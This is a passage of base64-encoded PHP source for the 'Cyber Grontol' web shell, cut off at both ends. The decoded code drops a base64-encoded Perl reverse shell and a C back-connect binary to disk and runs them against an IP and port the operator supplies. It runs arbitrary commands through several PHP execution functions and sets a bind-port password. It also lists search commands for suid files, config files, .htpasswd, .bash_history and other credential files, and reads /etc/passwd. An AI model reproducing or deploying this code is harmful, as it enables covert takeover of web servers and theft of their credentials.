YSA9ICgiXG48L2JyPlByb2Nlc3Mgbm90IGZvdW5kIHJ1bm5pbmcsIGJhY2tkb29yIG5vdCBzZXR1cCBzdWNjZXNzZnVsbHkuIik7IH0KICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNvbm5lY3QsIHVzZSBuZXRjYXQgYW5kIGdpdmUgaXQgdGhlIGNvbW1hbmQgJ25jICRpcCAkcG9yJy4kZGF0YSI7Cn0KfSAKCmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkKewogaWYoaXNfd3JpdGFibGUoIi4iKSl7CiBjZigiYmFjayIsJGJhY2tfY29ubmVjdCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLiIgYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwogJF9QT1NUWydiYWNrY2Nvbm5tc2cnXT0iVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iIG9uIHBvcnQgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIuIjsKIGlmIChmaWxlX2V4aXN0cygiYmFjayIpKSB7IHVubGluaygiYmFjayIpOyB9CiB9ZWxzZXsKIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOwogJHAyPXdoaWNoKCJwZXJsIik7CiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIgJiIpOwogJF9QT1NUWydiYWNrY2Nvbm5tc2cnXT0iVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iIG9uIHBvcnQgIi4kX1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddLiIuIjsKIGlmIChmaWxlX2V4aXN0cygiL3RtcC9iYWNrIikpIHsgdW5saW5rKCIvdG1wL2JhY2siKTsgfQp9Cn0gCgppZiAoIWVtcHR5KCRfUE9TVFsnYmFja2Nvbm5lY3RpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGlmKGlzX3dyaXRhYmxlKCIuIikpewogY2YoImJhY2tjIiwkYmFja19jb25uZWN0X2MpOwogZXgoImNobW9kIDc3NyBiYWNrYyIpOwogLy8kYmxhaCA9IGV4KCJnY2MgYmFjay5jIC1vIGJhY2tjIik7CiAkYmxhaCA9IGV4KCIuL2JhY2tjICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIiAmIik7CiAkX1BPU1RbJ2JhY2tjY29ubm1zZyddPSJUcnlpbmcgdG8gY29ubmVjdCB0byAiLiRfUE9TVFsnYmFja2Nvbm5lY3RpcCddLiIgb24gcG9ydCAiLiRfUE9TVFsnYmFja2Nvbm5lY3Rwb3J0J10uIi4iOwogLy9pZiAoZmlsZV9leGlzdHMoImJhY2suYyIpKSB7IHVubGluaygiYmFjay5jIik7IH0KIGlmIChmaWxlX2V4aXN0cygiYmFja2MiKSkgeyB1bmxpbmsoImJhY2tjIik7IH0KIH1lbHNlewogZXgoImNobW9kIDc3NyAvdG1wL2JhY2tjIik7CiBjZigiL3RtcC9iYWNrYyIsJGJhY2tfY29ubmVjdF9jKTsKIC8vJGJsYWggPSBleCgiZ2NjIC1vIC90bXAvYmFja2MgL3RtcC9iYWNrLmMiKTsKICRibGFoID0gZXgoIi90bXAvYmFja2MgIi4kX1BPU1RbJ2JhY2tjb25uZWN0aXAnXS4iICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iICYiKTsKICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRyeWluZyB0byBjb25uZWN0IHRvICIuJF9QT1NUWydiYWNrY29ubmVjdGlwJ10uIiBvbiBwb3J0ICIuJF9QT1NUWydiYWNrY29ubmVjdHBvcnQnXS4iLiI7CiAvL2lmIChmaWxlX2V4aXN0cygiYmFjay5jIikpIHsgdW5saW5rKCJiYWNrLmMiKTsgfQogaWYgKGZpbGVfZXhpc3RzKCIvdG1wL2JhY2tjIikpIHsgdW5saW5rKCIvdG1wL2JhY2tjIik7IH0gfQp9CgpmdW5jdGlvbiBjZigkZm5hbWUsJHRleHQpCnsKICR3X2ZpbGU9QGZvcGVuKCRmbmFtZSwidyIpIG9yIGVycigpOwogaWYoJHdfZmlsZSkKIHsKIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiBAZmNsb3NlKCR3X2ZpbGUpOwogfQp9CgpmdW5jdGlvbiBjZmIoJGZuYW1lLCR0ZXh0KQp7CiAkd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBiYmVycigpOwogaWYoJHdfZmlsZSkKIHsKIEBmcHV0cygkd19maWxlLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiBAZmNsb3NlKCR3X2ZpbGUpOwogfQp9CgpmdW5jdGlvbiBlcnIoKQp7CiRfUE9TVFsnYmFja2Njb25ubXNnZSddPSI8L2JyPjwvYnI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz5FcnJvcjo8L2ZvbnQ+IEdhIEtvbmVrIjsKfQoKZnVuY3Rpb24gYmJlcnIoKQp7CiRfUE9TVFsnYmFja2Njb25ubXNnZSddPSI8L2JyPjwvYnI+PGZvbnQgY29sb3I9cmVkIHNpemU9Mz5FcnJvcjo8L2ZvbnQ+IEdhIEtvbmVrIGJhY2tkb29yICEiOwp9CgpmdW5jdGlvbiB3aGljaCgkcHIpCnsKJHBhdGggPSBleCgid2hpY2ggJHByIik7CmlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9Cn0KZnVuY3Rpb24gZXgoJGNmZSkKewogJHJlcyA9ICcnOwogaWYgKCFlbXB0eSgkY2ZlKSkKIHsKICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkKICAgewogICAgQGV4ZWMoJGNmZSwkcmVzKTsKICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7CiAgIH0KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkKICAgewogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICB9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAc3lzdGVtKCRjZmUpOwogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkKICAgewogICAgQG9iX3N0YXJ0KCk7CiAgICBAcGFzc3RocnUoJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CgllbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpCiAgewogICAkcmVzID0gIiI7CiAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0KICAgQHBjbG9zZSgkZik7CiAgfQogfQogcmV0dXJuICRyZXM7Cn0KZnVuY3Rpb24gZ2V0X3N0YXR1cygpIHsKICBmdW5jdGlvbiBzaG93c3RhdCgkc3VwLCRzdGF0KSB7CiAgICBpZiAoJHN0YXQ9PSJvbiIpIHsgcmV0dXJuICIkc3VwOiA8Zm9udCBjb2xvcj0jMDA4MDAwPk9OPC9mb250PiI7CiAgfSBlbHNlIHsKCXJldHVybiAiJHN1cDogPGZvbnQgY29sb3I9I2M0NTMzMz5PRkY8L2ZvbnQ+IjsgfQogIH0KICAkYXJyZnVuYyA9IGFycmF5KAogICAgYXJyYXkoIk15U1FMIiwibXlzcWxfY29ubmVjdCIpLAogICAgYXJyYXkoIiYjNDc7IE1TU1FMIiwibXNzcWxfY29ubmVjdCIpLAogICAgYXJyYXkoIiYjNDc7IE9yYWNsZSIsIm9jaWxvZ29uIiksCiAgICBhcnJheSgiJiM0NzsgUG9zdGdyZVNRTCIsInBnX2Nvbm5lY3QiKSwKICAgIGFycmF5KCImIzQ3OyBDdXJsIiwiY3VybF92ZXJzaW9uIiksCiAgKTsKICAkYXJyY21kID0gYXJyYXkoCiAgICBhcnJheSgiJiM0NzsgRmV0Y2giLCJmZXRjaCAtLWhlbHAiKSwKICAgIGFycmF5KCImIzQ3OyBXZ2V0Iiwid2dldCAtLWhlbHAiKSwKICAgIGFycmF5KCImIzQ3OyBQZXJsIiwicGVybCAtdiIpLAogICAgYXJyYXkoIiYjNDc7IEdDQyIsImdjYyAtViIpLAogICk7CgogICRzdGF0aW5mbyA9IGFycmF5KCk7CiAgZm9yZWFjaCAoJGFycmZ1bmMgYXMgJGZ1bmMpIHsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJGZ1bmNbMV0pKSB7ICRzdGF0aW5mb1tdID0gc2hvd3N0YXQoJGZ1bmNbMF0sIm9uIik7IH0KICAgIGVsc2UgeyAkc3RhdGluZm9bXSA9IHNob3dzdGF0KCRmdW5jWzBdLCJvZmYiKTsgfQogIH0KICAkc3RhdGluZm9bXSA9IChAZXh0ZW5zaW9uX2xvYWRlZCgnc29ja2V0cycpKT9zaG93c3RhdCgiU29ja2V0cyIsIm9uIik6c2hvd3N0YXQoIlNvY2tldHMiLCJvZmYiKTsKICBmb3JlYWNoICgkYXJyY21kIGFzICRjbWQpIHsKICAgIGlmIChvMnhkYWV4ZWMoJGNtZFsxXSkpIHsgJHN0YXRpbmZvW10gPSBzaG93c3RhdCgkY21kWzBdLCJvbiIpOyB9CiAgICBlbHNlIHsgJHN0YXRpbmZvW10gPSBzaG93c3RhdCgkY21kWzBdLCJvZmYiKTsgfQogIH0KICByZXR1cm4gaW1wbG9kZSgiICIsJHN0YXRpbmZvKTsKfQoKJGhvc3RuYW1lX3g9cGhwX3VuYW1lKG4pOwokaXRzaG9tZSA9IGdldGN3ZCgpOwokaXRzaG9tZSA9IHN0cl9yZXBsYWNlKCIvaG9tZS8iLCJ+IiwkaXRzaG9tZSk7CiRpdHNob21lID0gc3RyX3JlcGxhY2UoIi9wdWJsaWNfaHRtbCIsIi8iLiRQSFBfU0VMRi4iLnBocCIsJGl0c2hvbWUpOwokZW51bWVyYXRlID0gImh0dHA6Ly8iLiRob3N0bmFtZV94LiIvIi4kaXRzaG9tZS4iIjsKaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwwKTsgCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319IAplcnJvcl9yZXBvcnRpbmcoNSk7IAokYWRpcmVzPSIiOwpAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7IAokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iOyAKZGVmaW5lKCJzdGFydHRpbWUiLGdldG1pY3JvdGltZSgpKTsgCmlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7aWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cmlwcyIpKSB7ZnVuY3Rpb24gc3RyaXBzKCYkYXJyLCRrPSIiKSB7aWYgKGlzX2FycmF5KCRhcnIpKSB7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdikge2lmIChzdHJ0b3VwcGVyKCRrKSAhPSAiR0xPQkFMUyIpIHtzdHJpcHMoJGFyclsiJGsiXSk7fX19IGVsc2UgeyRhcnIgPSBzdHJpcHNsYXNoZXMoJGFycik7fX19IHN0cmlwcygkR0xPQkFMUyk7fSAKJF9SRVFVRVNUID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsJF9HRVQsJF9QT1NUKTsgCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrPT4kdikge2lmICghaXNzZXQoJCRrKSkgeyQkayA9ICR2O319IAokTzJYREFWZXIgPSAiQmxhY2sgSGF0IEVkaXRpb24iOyAvL0N1cnJlbnQgdmVyc2lvbiAKaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoIlR1WF9zdXJsIik7ICRzdXJsID0gIiI7fSAKZWxzZWlmICghZW1wdHkoJHNldF9zdXJsKSkgeyRzdXJsID0gJHNldF9zdXJsOyBzZXRjb29raWUoIlR1WF9zdXJsIiwkc3VybCk7fSAKZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbIlR1WF9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTCAKfSAKCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSBUUlVFOyAvL0lmIFRSVUUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuIAoKaWYgKCRzdXJsX2F1dG9maWxsX2luY2x1ZGUgYW5kICEkX1JFUVVFU1RbIlR1WF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fSAKaWYgKGVtcHR5KCRzdXJsKSkgCnsgCiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybCAKfSAKJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsgCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQgb2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVubGltaXRlZC4gCiRsb2dpbiA9ICIiOwokcGFzcyA9ICIiOwokbWQ1X3Bhc3MgPSAiIjsKJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOwokbG9naW5fdHh0ID0gIlJlc3RyaWN0ZWQgYXJlYSI7CiRhY2Nlc3NkZW5pZWRtZXNzID0gIiYjNjA7JiM2MDsgPGEgaHJlZj1cImh0dHA6Ly9jeWJlcmdyb250b2wuY29tXCI+Q3liZXIgR3JvbnRvbDwvYT58Ii4kTzJYREFWZXIuIiAmIzg0ODI7IjsgCiRnemlwZW5jb2RlID0gVFJVRTsKJHVwZGF0ZW5vdyA9IEZBTFNFOwokZmlsZXN0ZWFsdGggPSBUUlVFOwokZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+LjpbIEN5YmVyIEdyb250b2wgXTouPC9jZW50ZXI+IjsgCiRkb25hdGVkX2FjdCA9IGFycmF5KCIiKTsgCiRjdXJkaXIgPSAiLi8iOyAvL3N0YXJ0IGZvbGRlciAKJHRtcGRpciA9ICIiOwokdG1wZGlyX2xvZyA9ICIuLyI7CiRsb2dfZW1haWwgPSAiZHJpZTg4QGN5YmVyc2VydmljZXMuY29tIjsKJHNvcnRfZGVmYXVsdCA9ICIwYSI7IC8vRGVmYXVsdCBzb3J0aW5nLCAwIC0gbnVtYmVyIG9mIGNvbG9tbiwgImEic2NlbmRpbmcgb3IgImQiZXNjZW5kaW5nIAokc29ydF9zYXZlID0gVFJVRTsgLy9JZiBUUlVFIHRoZW4gc2F2ZSBzb3J0aW5nLXBvc2l0aW9uIHVzaW5nIGNvb2tpZXMuIAokZnR5cGVzICA9IGFycmF5KCAKICJodG1sIj0+YXJyYXkoImh0bWwiLCJodG0iLCJzaHRtbCIpLCAKICJ0eHQiPT5hcnJheSgidHh0IiwiY29uZiIsImJhdCIsInNoIiwianMiLCJiYWsiLCJkb2MiLCJsb2ciLCJzZmMiLCJjZmciLCJodGFjY2VzcyIpLCAKICJleGUiPT5hcnJheSgic2giLCJpbnN0YWxsIiwiYmF0IiwiY21kIiksIAogImluaSI9PmFycmF5KCJpbmkiLCJpbmYiKSwgCiAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksIAogImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksIAogInNkYiI9PmFycmF5KCJzZGIiKSwgCiAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksIAogImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikgCik7IAoKJGRpemluID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkaXppbik7IAppZiAoZW1wdHkoJGRpemluKSkgeyRkaXppbiA9IHJlYWxwYXRoKCIuIik7fSBlbHNlaWYocmVhbHBhdGgoJGRpemluKSkgeyRkaXppbiA9IHJlYWxwYXRoKCRkaXppbik7fSAKJGRpemluID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkaXppbik7IAppZiAoc3Vic3RyKCRkaXppbiwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkaXppbiAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCiRkaXppbiA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkaXppbik7IAokZGl6aW5pc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZGl6aW4pOyAKLypkaXppbiovIAokcmVhbCA9IHJlYWxwYXRoKCRkaXppbmlzcGQpOwokcGF0aCA9IGJhc2VuYW1lICgkUEhQX1NFTEYpOyAKZnVuY3Rpb24gZG9zeWF5aWNlaygkbGluaywkZmlsZSkgCnsgCiAgICRmcCA9IEBmb3BlbigkbGluaywiciIpOyAKICAgd2hpbGUoIWZlb2YoJGZwKSkgCiAgIHsgCiAgICAgICAkY29udC49IGZyZWFkKCRmcCwxMDI0KTsgCiAgIH0gCiAgIGZjbG9zZSgkZnApOyAKCiAgICRmcDIgPSBAZm9wZW4oJGZpbGUsInciKTsgCiAgIGZ3cml0ZSgkZnAyLCRjb250KTsgCiAgIGZjbG9zZSgkZnAyKTsgCn0gCgokZXhlZnR5cGVzICA9IGFycmF5KCAKIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksIAogInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKSAKKTsgCgokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KCAKICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUgCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpIC8vIGV4YW1wbGUgCik7IAoKJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4gCiAvLyBhcnJheSAoaT0+e2xldHRlcn0gLi4uKTsgc3RyaW5nIHtsZXR0ZXJ9IC0gbGV0dGVyIG9mIGEgZHJpdmUgCi8vJHNhZmVtb2RlX2Rpc2tldHRlcyA9IHJhbmdlKCJhIiwieiIpOyAKJGhleGR1bXBfbGluZXMgPSA4Oy8vIGxpbmVzIGluIGhleCBwcmV2aWV3IGZpbGUgCiRoZXhkdW1wX3Jvd3MgPSAyNDsvLyAxNiwgMjQgb3IgMzIgYnl0ZXMgaW4gb25lIGxpbmUgCiRuaXhwd2RwZXJwYWdlID0gMTAwOyAvLyBHZXQgZmlyc3QgTiBsaW5lcyBmcm9tIC9ldGMvcGFzc3dkIAokYmluZHBvcnRfcGFzcyA9ICJDeWJlciBHcm9udG9sIjsgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcgCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nIAokYmNfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmFjay1jb25uZWN0IAokZGF0YXBpcGVfbG9jYWxwb3J0ID0gIjgwODEiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGRhdGFwaXBlIAokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWxPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKCi8vIENvbW1hbmQtYWxpYXNlcyAKaWYgKCEkd2luKSAKewokY21kYWxpYXNlcyA9IGFycmF5KCAKCWFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwgCglhcnJheSgiZmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksIAoJYXJyYXkoImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksIAoJYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLCAKCWFycmF5KCJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLCAKCWFycmF5KCJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksIAoJYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLCAKCWFycmF5KCJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwgCglhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLCAKCWFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksIAoJYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksIAoJYXJyYXkoImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwgCglhcnJheSgiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLCAKCWFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwgCglhcnJheSgiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksIAoJYXJyYXkoImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksIAoJYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwgCglhcnJheSgiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksIAoJYXJyYXkoImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwgCglhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpIAogKTsgCn0gZWxzZSB7IAokY21kYWxpYXNlcyA9IGFycmF5KCAKCWFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJkaXIiKSwgCglhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4iKSAKICk7IAp9CiRzZXNzX2Nvb2tpZSA9ICJJREMtQURWIjsgLy8gQ29va2llLXZhcmlhYmxlIG5hbWUgCiR1c2Vmc2J1ZmYgPSBUUlVFOyAvL0J1ZmZlci1mdW5jdGlvbiAKJGNvcHlfdW5zZXQgPSBGQUxTRTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcgCiRxdWlja2xhdW5jaCA9IGFycmF5KCAKCWFycmF5KCI8Y2VudGVyPkhvbWUiLCRzdXJsKSwKCWFycmF5KCJCYWNrIiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmJhY2soMSkiKSwKCWFycmF5KCJGb3J3YXJkIiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksCglhcnJheSgiVXAiLCRzdXJsLiJ4dHV4PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksCglhcnJheSgiUmVmcmVzaCIsIiIpLAoJYXJyYXkoIlNlYXJjaCIsJHN1cmwuInh0dXg9c2VhcmNoJmQ9JWQiKSwKCWFycmF5KCI8Y